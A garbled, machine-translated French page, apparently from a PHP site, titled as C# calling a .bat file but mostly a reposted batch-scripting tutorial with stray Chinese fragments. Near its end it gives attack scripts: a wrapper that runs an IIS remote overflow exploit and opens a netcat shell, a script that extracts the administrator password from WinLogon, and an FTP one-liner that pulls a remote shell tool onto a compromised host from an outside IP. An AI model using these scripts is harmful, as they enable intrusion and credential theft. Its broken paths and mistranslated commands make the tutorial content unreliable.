c# Appeler le fichier .bat
Utiliser l'espace de noms : en utilisant System.Diagnostics;
System.Diagnostics.Process.Start(Server.MapPath("ah.bat")); ================================================== = ==============
Un fichier avec l'extension bat (ou cmd sous nt/2000/xp/2003) est un fichier batch
Tout d'abord, le traitement par lots Le fichier est un fichier texte. Chaque ligne de ce fichier est une commande DOS (la plupart du temps, c'est comme la ligne de commande que nous exécutons à l'invite DOS). Vous pouvez utiliser Edit sous DOS ou le Bloc-notes sous Windows) ou tout autre outil d'édition de fichier texte. pour créer et modifier des fichiers batch.
Deuxièmement, un fichier batch est un programme simple qui peut contrôler le flux d'exécution des commandes via des instructions conditionnelles (if) et des instructions de contrôle de processus (goto). Dans le traitement par lots, les instructions de boucle (for) peuvent également être utilisées pour exécuter une boucle. une commande. Bien entendu, les capacités de programmation des fichiers batch sont très limitées et très non standard par rapport aux instructions de programmation telles que le langage C. Les instructions du programme de traitement par lots sont des commandes DOS une par une (y compris les commandes internes et les commandes externes), et la capacité du traitement par lots dépend principalement des commandes que vous utilisez.
Troisièmement, chaque fichier batch écrit est équivalent à une commande externe DOS. Vous pouvez placer le répertoire où il se trouve dans votre chemin de recherche DOS (chemin) afin qu'il puisse être exécuté n'importe où. Une bonne habitude est de créer un répertoire bat ou batch sur le disque dur (par exemple, C:BATCH), puis de placer tous les fichiers batch que vous écrivez dans ce répertoire, de sorte que tant que c:batch est défini dans le chemin , vous pouvez exécuter n'importe quel programme batch que vous écrivez n'importe où.
Quatrièmement, sous les systèmes DOS et Win9x/Me, le fichier batch AUTOEXEC.BAT dans le répertoire racine du lecteur C: est un fichier batch qui s'exécute automatiquement à chaque démarrage du système. le système Mettez les commandes qui doivent être exécutées à chaque démarrage dans ce fichier, telles que la définition du chemin de recherche, le chargement du pilote de la souris et du cache disque, la définition des variables d'environnement système, etc. Voici un exemple d'autoexec.bat exécuté sous Windows 98 :
@ECHO OFF
PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C : BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:TEMP
SET TMP=D:TEMP
Traitement par lots Le fonction de
En termes simples, la fonction du traitement par lots est d'exécuter automatiquement plusieurs commandes en continu.
Voici l'application la plus simple : lors du démarrage du logiciel wps, elle doit être exécutée à chaque fois (>Le contenu précédent représente l'invite DOS) :
C:>cd wps
C:WPS>
C:WPS>py
C:WPS>wbx
C:WPS>wps
Trouvriez-vous cela gênant si vous exécutez ceci à chaque fois avant d'utiliser WPS ?
D'accord, en utilisant le traitement par lots, vous pouvez simplifier ces opérations gênantes. Tout d'abord, nous écrivons un fichier batch runwps.bat avec le contenu suivant :
@echo off
c:
cdwps
spdos.
py
wbx
wps
cd
À l'avenir, chaque fois que nous entrons dans wps, il nous suffira d'exécuter le fichier batch runwps.
Commandes couramment utilisées
echo, @, call, pause, rem (astuce : utilisez :: au lieu de rem) sont les commandes les plus couramment utilisées pour les fichiers batch.
echo signifie afficher les caractères après cette commande
echo off signifie que toutes les commandes exécutées après cette instruction n'affichent pas la ligne de commande elle-même
@ est similaire à echo off, mais il est ajouté à chaque ligne de commande à au recto, indiquant que la ligne de commande de cette ligne ne sera pas affichée lors de l'exécution (cela ne peut affecter que la ligne en cours).
call appelle un autre fichier batch (si vous appelez directement un autre fichier batch sans appeler, vous ne pourrez pas revenir au fichier actuel et exécuter les commandes suivantes du fichier actuel après avoir exécuté ce fichier batch).
pause L'exécution de cette phrase mettra en pause l'exécution du lot et affichera l'invite Appuyez sur n'importe quelle touche pour continuer... sur l'écran, en attendant que l'utilisateur appuie sur n'importe quelle touche pour continuer
rem signifie que les caractères après. cette commande sont des lignes d'explication (commentaires), non exécutées, juste pour référence future (équivalent aux commentaires dans le programme).
Exemple 1 : utilisez edit pour modifier le fichier a.bat, saisissez le contenu suivant et enregistrez-le sous c:a.bat. Après avoir exécuté ce fichier batch, vous pouvez écrire tous les fichiers du répertoire racine dans a.txt. et démarrez UCDOS, entrez WPS et d'autres fonctions.
Le contenu du fichier batch est : Commentaire de commande :
@echo off Ne pas afficher la ligne de commande suivante et la ligne de commande actuelle
dir c:*.* >a.txt Écrire la liste des fichiers de c conduisez vers un .txt
appelez c:ucdosucdos.bat appelez ucdos
echo bonjour affichez "Bonjour"
faites une pause et attendez que la touche continue
rem préparez-vous à exécuter wps 🎜>cd ucdos Entrez le répertoire ucdos
wps Exécutez wps
Paramètres du fichier batch
Les fichiers batch peuvent également utiliser des paramètres comme les fonctions du langage C (équivalents aux paramètres de ligne de commande des commandes DOS), ce qui nécessite l'utilisation de Un indicateur de paramètre "%".
%[1-9] représente les paramètres. Les paramètres font référence à des chaînes séparées par des espaces (ou des tabulations) ajoutées après le nom du fichier lors de l'exécution du fichier batch. Les variables peuvent aller de %0 à %9, %0 représente la commande batch elle-même et d'autres chaînes de paramètres sont représentées dans l'ordre de %1 à %9.
Exemple 2 : Il existe un fichier de traitement par lots nommé f.bat dans le répertoire racine de C:, le contenu est :
@echo off
format %1
Si vous exécutez C:> f a :
Ensuite, lors de l'exécution de f.bat, %1 signifie a :, donc le format %1 est équivalent au format a :, donc lorsque la commande ci-dessus est exécutée, l'exécution réelle est le format a :
Exemple 3 : C: répertoire racine Le nom du fichier batch est t.bat et le contenu est :
@echo off
tapez %1
tapez %2
Ensuite, exécutez C:>t a.txt b .txt
%1 : signifie a.txt
%2 : signifie b.txt
Ainsi, la commande ci-dessus affichera le contenu des fichiers a.txt et b.txt de manière séquentielle.
Commandes spéciales
if goto Choice for est une commande relativement avancée dans les fichiers batch. Si vous maîtrisez leur utilisation, vous êtes un expert en fichiers batch.
1. If est une instruction conditionnelle, utilisée pour déterminer si les conditions spécifiées sont remplies, décidant ainsi d'exécuter différentes commandes. Il existe trois formats :
1. if [not] "parameter" == "string" commande à exécuter
Si le paramètre est égal à la chaîne spécifiée (ne signifie pas inégal, idem ci-dessous), alors le la condition est vraie. Exécutez la commande, sinon exécutez la phrase suivante.
Exemple : if "%1"=="a" format a :
2. if [not] exist [path] file name commande à exécuter
S'il y a un fichier spécifié, la condition est vrai, exécutez la commande, sinon exécutez la phrase suivante.
Par exemple : s'il existe c:config.sys tapez c:config.sys
signifie que si le fichier c:config.sys existe, son contenu sera affiché.
3. if errorlevel
De nombreux programmes DOS renverront une valeur numérique après l'exécution pour indiquer le résultat (ou l'état) du programme. Le programme peut être jugé via la commande if errorlevel. La valeur de retour détermine l'exécution de différentes commandes en fonction de différentes valeurs de retour (les valeurs de retour doivent être classées du plus grand au plus petit). Si la valeur de retour est égale au nombre spécifié, la condition est vraie et la commande est exécutée, sinon la phrase suivante est exécutée.
Par exemple, si le niveau d'erreur 2 goto x2
2. Lorsque le fichier batch goto est exécuté ici, il passera à l'étiquette spécifiée par goto (l'étiquette est label, et l'étiquette est définie avec : suivi d'un chaîne standard). L'instruction goto est généralement la même que Utiliser if ensemble pour exécuter différents groupes de commandes en fonction de différentes conditions.
Par exemple :
goto end
:end
echo c'est la fin
Le label est défini avec ":string", et la ligne où se trouve le label ne sera pas exécutée.
3. choix Utilisez cette commande pour permettre à l'utilisateur de saisir un caractère (pour la sélection), renvoyant ainsi différents niveaux d'erreur selon le choix de l'utilisateur, puis coopérez avec if errorlevel pour exécuter différentes commandes selon le choix de l'utilisateur.
Remarque : la commande Choice est une commande externe fournie par les systèmes DOS ou Windows. La syntaxe de la commande Choice dans les différentes versions sera légèrement différente. Veuillez utiliser Choice /? pour vérifier l'utilisation.
Syntaxe de la commande Choice (cette syntaxe est la syntaxe de la commande Choice dans Windows 2003, et la syntaxe de la commande des autres versions de Choice est similaire à celle-ci) :
CHOICE [/C Choices] [/N] [/ CS] [/T timeout /D Choice] [/M text]
Description :
Cet outil permet à l'utilisateur de sélectionner un élément dans une liste de sélection et renvoie l'index de l'élément sélectionné.
Liste de paramètres :
/C choix précise la liste de choix à créer. La liste par défaut est "YN".
/N Masque la liste d’options dans l’invite. Le message précédent s'affiche et l'option
est toujours activée.
/CS permet une sélection sensible à la casse. Par défaut, cet outil
ne respecte pas la casse.
/T timeout Le nombre de secondes de pause avant de faire la sélection par défaut. Les valeurs acceptables vont de 0
à 9999. Si 0 est spécifié, il n'y aura pas de pause et l'option par défaut
sera sélectionnée. Le choix
/D spécifie l'option par défaut après nnnn secondes. Le caractère doit être dans l'ensemble des choix spécifiés avec l'option /C
en même temps, nnnn doit être spécifié avec /T.
/M texte spécifie le message à afficher avant l'invite. S’il n’est pas spécifié, l’outil
affiche simplement l’invite.
/? Afficher le message d'aide.
Remarque :
La variable d'environnement ERRORLEVEL est définie sur l'index clé sélectionné dans l'ensemble de sélection. Le premier choix répertorié
renvoie 1, le deuxième choix renvoie 2, etc. Si la touche appuyée par l'utilisateur n'est pas une sélection valide,
l'outil émettra un son d'avertissement. Si l'outil détecte une condition d'erreur, il renvoie une valeur
ERRORLEVEL de 255. Si l'utilisateur appuie sur Ctrl Break ou Ctrl C, l'outil renvoie 0
Valeur NIVEAU D'ERREUR. Lorsque vous utilisez le paramètre ERRORLEVEL dans un programme batch, triez les paramètres par ordre
décroissant.
Exemple :
CHOICE /?
CHOICE /C YNC /M "Appuyez sur Y pour confirmer, N pour annuler ou C pour annuler." y
CHOICE /C ab /M "Veuillez choisir a pour l'option 1 et choisissez b pour l'option 2."
CHOICE /C ab /N /M "Veuillez choisir a pour l'option 1 et choisissez b pour l'option." 2." "
Si j'exécute la commande : CHOICE /C YNC /M "Appuyez sur Y pour confirmer, N pour annuler ou C pour annuler. "
L'écran affichera :
Appuyez sur Y pour confirmer , NON Veuillez appuyer sur N, ou pour annuler, appuyez sur C. [Y,N,C] ?
Exemple : Le contenu de test.bat est le suivant (notez que lorsque vous utilisez if errorlevel pour juger la valeur de retour, il doit être classé de haut en bas en fonction de la valeur de retour) :
@echo off
choix /C dme /M "defrag,mem,end"
if niveau d'erreur 3 aller à la fin
si niveau d'erreur 2 aller à mem
si niveau d'erreur 1 aller à défragmenter
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
Une fois ce processus par lots exécuté, "defrag,mem ,end[D,M, E]?", l'utilisateur peut sélectionner d m e, puis l'instruction if émet un jugement basé sur le choix de l'utilisateur. d signifie l'exécution du segment de programme intitulé defrag, m représente l'exécution du segment de programme intitulé mem, et e représente l'exécution du segment de programme intitulé fin. À la fin de chaque segment de programme, goto end est utilisé pour passer le programme à l'étiquette de fin, puis le programme affichera au revoir et le traitement par lots se terminera.
4. Pour la commande en boucle, tant que les conditions sont remplies, elle exécutera la même commande plusieurs fois.
Syntaxe :
Exécuter une commande spécifique sur chaque fichier d'un ensemble de fichiers.
FOR %%variable IN (set) DO command [command-parameters]
%%variable spécifie un paramètre qui peut être remplacé par une seule lettre.
(set) spécifie un fichier ou un groupe de fichiers. Des caractères génériques peuvent être utilisés.
commande précise la commande à exécuter pour chaque fichier.
paramètres de commande
Spécifiez des paramètres ou des commutateurs de ligne de commande pour des commandes spécifiques.
Par exemple, il y a une ligne dans un fichier batch :
pour %%c dans (*.bat *.txt) tapez %%c
La ligne de commande affichera tous les fichiers se terminant par bat et txt dans le répertoire courant Le contenu du fichier avec l'extension.
Exemple de traitement par lots
1. IF-EXIST
1)
Utilisez d'abord le Bloc-notes pour créer un fichier batch test1.bat dans C:. echo off
IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT
IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT n'existe pas
Alors exécutez-le :
C:>TEST1.BAT
Si C: existe un fichier AUTOEXEC.BAT, alors son contenu sera affiché. S'il n'existe pas, le traitement par lots vous demandera que le fichier n'existe pas.
2)
Créez ensuite un fichier test2.bat avec le contenu suivant :
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 n'existe pas
Exécution :
C:>TEST2 AUTOEXEC.BAT
Les résultats de cette commande sont les mêmes que ci-dessus.
Instructions :
(1) IF EXIST est utilisé pour tester si le fichier existe. Le format est
IF EXIST [nom du fichier chemin]
(2) %1 dans le fichier test2.bat. est Paramètres, DOS permet de transmettre 9 informations de paramètres de lot au fichier de commandes, respectivement %1~%9 (%0 représente la commande test2 elle-même), ce qui est un peu comme la relation entre les paramètres réels et les paramètres formels en programmation, % 1 est le paramètre formel, AUTOEXEC.BAT est le paramètre réel.
3) Ensuite, créez un fichier nommé TEST3.BAT avec le contenu suivant :
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
Si vous exécutez :
C:>TEST3 A B C
L'écran affichera :
XIAO
TIAN
XIN
Si vous exécutez :
C:>TEST3 A B
L'écran affichera
XIAO
TIAN
Pendant l'exécution de cette commande, le DOS affichera An une chaîne vide a été affectée au paramètre %3.
2. IF-ERRORLEVEL
Créez TEST4.BAT avec le contenu suivant :
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO file copy failed
IF ERRORLEVEL 0 ECHO Copiez le fichier avec succès
Puis exécutez le fichier :
C:>TEST4
Si le fichier est copié avec succès, l'écran affichera "Fichier copié avec succès", sinon il affichera "Échec de la copie du fichier" .
IF ERRORLEVEL est utilisé pour tester la valeur de retour de sa commande DOS précédente. Notez qu'il ne s'agit que de la valeur de retour de la commande précédente et que la valeur de retour doit être jugée de la plus grande à la plus petite.
Le fichier batch suivant est donc erroné :
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D :
IF ERRORLEVEL 0 ECHO Fichier copié avec succès
IF ERRORLEVEL 1 ECHO Aucune copie trouvée Fichier
IF ERRORLEVEL 2 ECHO L'utilisateur abandonne l'opération de copie via ctrl-c
IF ERRORLEVEL 3 ECHO Une erreur de préréglage empêche l'opération de copie de fichier
IF ERRORLEVEL 4 ECHO Erreur d'écriture sur le disque pendant le processus de copie
Que la copie soit réussie ou non, les éléments suivants :
Le fichier copié est introuvable
L'utilisateur termine l'opération de copie via ctrl-c
Une erreur prédéfinie empêche l'opération de copie de fichier
Des erreurs d'écriture sur disque
seront affichées pendant le processus de copie.
Voici les valeurs de retour de plusieurs commandes courantes et leurs significations :
sauvegarde
0 Sauvegarde réussie
1 Fichier de sauvegarde introuvable
2 Un conflit de partage de fichiers empêche la sauvegarde de se terminer
🎜>3 L'utilisateur abandonne la sauvegarde avec ctrl-c
4 L'opération de sauvegarde est interrompue en raison d'une erreur fatale
diskcomp
0 Les disques sont comparés à l'identique
1 Les disques sont comparés différents
2 L'utilisateur abandonne l'opération de comparaison avec ctrl-c
3 L'opération de comparaison a été abandonnée en raison d'une erreur fatale
4 Une erreur de préréglage a interrompu la comparaison
diskcopy
0 L'opération de copie de disque a réussi
🎜>1 Erreur de lecture/écriture du disque non fatale
2 L'utilisateur a passé ctrl -c Fin de l'opération de copie
3 Copie du disque interrompue en raison d'une erreur de traitement fatale
4 Une erreur de préréglage empêche l'opération de copie
format
0 Formatage réussi
3 L'utilisateur abandonne le formatage via le traitement de formatage ctrl-c
4 Formatage abandonné en raison d'une erreur de traitement fatale
5 À l'invite « Procéder au formatage (o/n) ? » n pour terminer
xcopy
0 Le fichier a été copié avec succès
1 Copie du fichier introuvable
2 L'utilisateur termine l'opération de copie via ctrl-c
4 Une erreur de préréglage empêche l'opération de copie de fichier
5 Erreur d'écriture sur disque lors du processus de copie
3 IF STRING1 == STRING2
Créez TEST5.BAT, le contenu du fichier est le suivant :
@echo off
IF "%1" == "A" formAT A:
Execute:
C:>TEST5 A
Un message indiquant s'il faut formater le lecteur A: apparaît à l'écran.
Remarque : Afin d'éviter que le paramètre soit vide, la chaîne est généralement entourée de guillemets doubles (ou d'autres symboles, veuillez noter que les symboles réservés ne peuvent pas être utilisés).
Par exemple : if [%1]==[A] ou if %1*==A*
5. GOTO
Créez TEST6.BAT, le contenu du fichier est le suivant :
@ ECHO OFF
SI EXISTE C:AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:AUTOEXEC.BAT D:
:_DONE
Remarque :
(1 ) avant que l'étiquette soit le caractère ASCII deux-points : :, il ne peut y avoir d'espace entre les deux points et l'étiquette.
(2) Les règles de dénomination des étiquettes sont les mêmes que celles des noms de fichiers.
(3) DOS prend en charge les étiquettes d'une longueur maximale de huit caractères. Lorsque deux étiquettes ne peuvent pas être distinguées, il passera à l'étiquette la plus proche.
6. POUR
Créez C:TEST7.BAT, le contenu du fichier est le suivant :
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
Exécuter :
C:>TEST7
Après l'exécution, le contenu de tous les fichiers avec les extensions BAT, TXT et SYS dans le répertoire racine du lecteur C: sera affiché à l'écran (hors fichiers cachés) .
________________________________________________________________________________________________________________________
[Package et téléchargement] logleg dans le package à télécharger (Cliquez ici pour voir le forum)
--------------------- ------------------- ------------------------------- ---------
bluekylin Publié le : 24/11/2004 22h25
Compétences en matière de traitement par lots en ligne de commande Win2000
————————— ——————————————— ————————————————————
Structure des articles
1. -in commandes
2. Le concept de variables d'environnement
3. Symboles spéciaux intégrés (veillez à les éviter lors de l'utilisation réelle)
4. Concept de fichier batch simple
5. .txt
6. Pièce jointe 2 sample.bat
######## ######################### #################### ############
Informations d'aide pour toutes les commandes intégrées
# ###################### ########################### ###############
ver
cmd /?
set /?
rem
if /?
echo /?
aller à /?
pour /?
shift /? >appeler /?
Autres commandes courantes
taper /?
trouver /?
findstr /? copier /?
__________________________________________________________________________
Ce qui suit affichera toute l'aide ci-dessus dans un fichier
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? ;>tmp.txt
cmd /? >>tmp.txt
écho rem /?>tmp.txt
rem /?>>tmp.txt
écho si /? >tmp.txt
si /? >tmp.txt
écho aller à /?>tmp.txt
aller à /?>>tmp.txt
écho pour /?>>tmp.txt
pour /?>>tmp.txt
décalage d'écho /? >>tmp.txt
shift /? >>tmp.txt
appel d'écho /? >>tmp.txt
appel /? >>tmp.txt
type d'écho /? >>tmp.txt
tapez /? >>tmp.txt
echo find /? >>tmp.txt
trouver /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
copie d'écho /? >>tmp.txt
copie /? >>tmp.txt
tapez tmp.txt
______________________________________________________
############################ #########################################
2. 环境变量的概念
######################################## ##########################
____________________________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Utilisateurs
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Famille 6 Modèle 6 Étape 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsUtilisateur par défaut
windir=C:WINNT
___________________________________________________________________________________________
chemin : 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%system32. Il s'agit d'une question de temps. Il s'agit d'une question de temps.
语法 : copiez mychenxu.exe %windir%system32.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码
输出文Il s'agit d'une solution à ce problème.
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:>dir p*
C: 的目录
2000-09- 02 11:47 2 164 PDOS. DEF
03/01/1999 00:47
1 个文件 2 164 字节
1 个目录 1 505 997 824 可用字节
C:>cd pro*
C:Program Files>
C:>
C:>cd "Program Files"
C:Program Files>
############################################## #######################
3. 内置的特殊符号(实际使用中间注意避开)
################################## ##################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / | || && ^ > &Lt ; *
Vous pouvez utiliser la plupart des caractères comme valeurs variables, y compris les espaces. Si vous utilisez les caractères spéciaux <, >, |, & ou ^, vous devez les faire précéder du caractère d'échappement (^) ou de guillemets. Si vous utilisez des guillemets, ils sont inclus dans la valeur car tout ce qui suit le signe égal est considéré comme la valeur. Considérez les exemples suivants :
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
Pour créer la valeur de variable new&name, tapez :
définir varname = nouveau ^ &name
Pour créer la valeur de variable "new&name", tapez :
set varname="new&name"
L'esperluette (&), la barre verticale (|) et les parenthèses ( ) sont des caractères spéciaux qui doivent être précédés de le caractère d'échappement (^) ou les guillemets lorsque vous les transmettez en arguments.
trouver "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST nom de fichier. (del nom de fichier.) ELSE fait écho au nom de fichier. manquant
> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
écho 1231231 > bbb
() 包含命令
(écho aa et écho bb)
, le même symbole délimiteur par défaut que l'espace.
; Commentaire, indiquant qu'il est suivi d'un commentaire
: Fonction d'étiquette
| Fonctionnement du pipeline
& Utilisation : première commande et deuxième commande [& Trois commandes. ...]
En utilisant cette méthode, vous pouvez exécuter plusieurs commandes en même temps, que la commande soit exécutée avec succès ou non
dir c:*.exe & dir d:*.exe & dir e :*.exe
&& Utilisation : Première commande && Deuxième commande [&& Troisième commande...]
Lorsque vous rencontrez une commande avec une erreur d'exécution, les commandes suivantes ne seront pas exécutées. S'il n'y a pas d'erreur, elle. continuera à être exécuté. Terminez toutes les commandes ;
|| Utilisation : La première commande || La deuxième commande...]
Lorsque la commande correcte est exécutée, les commandes suivantes ne seront pas exécutées. être exécutée. Si la commande correcte n'apparaît pas, toutes les commandes seront exécutées ;
Format de syntaxe commune
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [ NOT] EXIST commande de nom de fichier para1 para2
IF EXIST commande de nom de fichier para1 para2
IF NOT EXIST commande de nom de fichier para1 para2
IF "%1"=="" goto END
IF "% 1"== "net" aller à NET
IF NOT "%2"=="net" aller à OTHER
IF ERRORLEVEL 1 commande para1 para2
IF NOT ERRORLEVEL 1 commande para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i % j %k
Prenez les paramètres par ordre alphabétique ijklmnopq
eol=c - fait référence au caractère de commentaire de fin de ligne (un seul)
skip=n - fait référence au nombre de. lignes ignorées au début du fichier.
delims=xxx - fait référence au jeu de délimiteurs. Cela remplace le délimiteur par défaut défini pour les espaces et les tabulations.
############################################ ## ###################
4. Concept simple de fichier batch
############# #### ########################################### ######
echo Ceci est le test > a.txt
tapez a.txt
echo Ceci est le test 11111 >> a.txt
tapez a.txt
echo Ceci est le test 22222 > ; a.txt
tapez a.txt
Le deuxième écho doit ajouter
Le troisième écho effacera a.txt et recréera a.txt
netstat -n | find "3389"
Cela listera les adresses IP de tous les utilisateurs connectés au 3389.
______________test.bat__________________________________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@ echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem n'affiche pas les déclarations de commentaires, cette ligne affiche
@ rem n'affiche pas les déclarations de commentaires , cette ligne n'affiche pas
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERREUR : Not find find.exe)
@if exist %windir%system32fina. exe (echo Find fina.exe !!!) else (echo ERREUR : Not find fina.exe)
________________________________________________________________________________
Prenons un programme idahack spécifique, qui est ida remote overflow, comme exemple. Il devrait être Very. simple.
___________________ida.bat_______________________________________________
@rem ver 1.0
@if N'existe PAS %windir%system32idahack.exe echo "ERREUR : ne trouve pas idahack.exe"
@if N'existe PAS %windir% system32nc. exe echo "ERREUR : ne trouve pas nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Maintenant, commencez...
@ping %1
@echo chinois win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@ echo "code de sortie du prog [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "bonne chance :)" %temp%_tmp
@echo "code de sortie du prog [ %errorlevel %] trouvez [bonne chance]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp %_tmp
@type %temp%_tmp
@find "bonne chance :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
: UTILISATION
@echo Exemple : ida.bat IP
@echo Exemple : ida.bat IP (2,3)
:END
______ida.bat__END______________________________
Passons au deuxième fichier. le mot de passe de l'administrateur.
La plupart des gens disent qu'ils ne peuvent pas l'obtenir. En fait, ils n'ont pas saisi les informations correctes
________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT. existe %windir% system32findpass.exe echo "ERREUR : ne trouve pas findpass.exe"
@if N'existe PAS %windir%system32pulist.exe echo "ERREUR : ne trouve pas pulist.exe"
@echo start....
@echo __________________________________________________
@if "%1"=="" goto UTILISATION
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "code de sortie du programme [%errorlevel%] findpass.exe"
@type %temp% _findpass.txt
@echo ___________________________Ici__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END
:USAGE
@pulist .exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Exemple : fpass.bat %1 %2 %3 %4 ! !!"
@echo "Utilisation : findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrateur "
@echo " fpass.bat end [%errorlevel%] !"
______________fpass.bat___END_____________________________________________________________________________
L'autre est que vous vous êtes connecté à un hôte distant via telnet. Comment télécharger des fichiers (gagner)
Entrez les éléments suivants dans la fenêtre dans l'ordre. Bien sûr, vous pouvez également tous les copier Ctrl V. Alors attendez !!
echo open 210.64.x.4 3396>w echo read>>w echo read>>w echo cd winnt>>w echo binary>>w echo pwd >>w echo get wget.exe >>w echo get winshell.exe >>w echo get any.exe >>w echo quit >>w ftp -s:w
Ce qui précède est le contenu du code d'implémentation de c# appelant le fichier .bat. Pour plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www .php.cn) !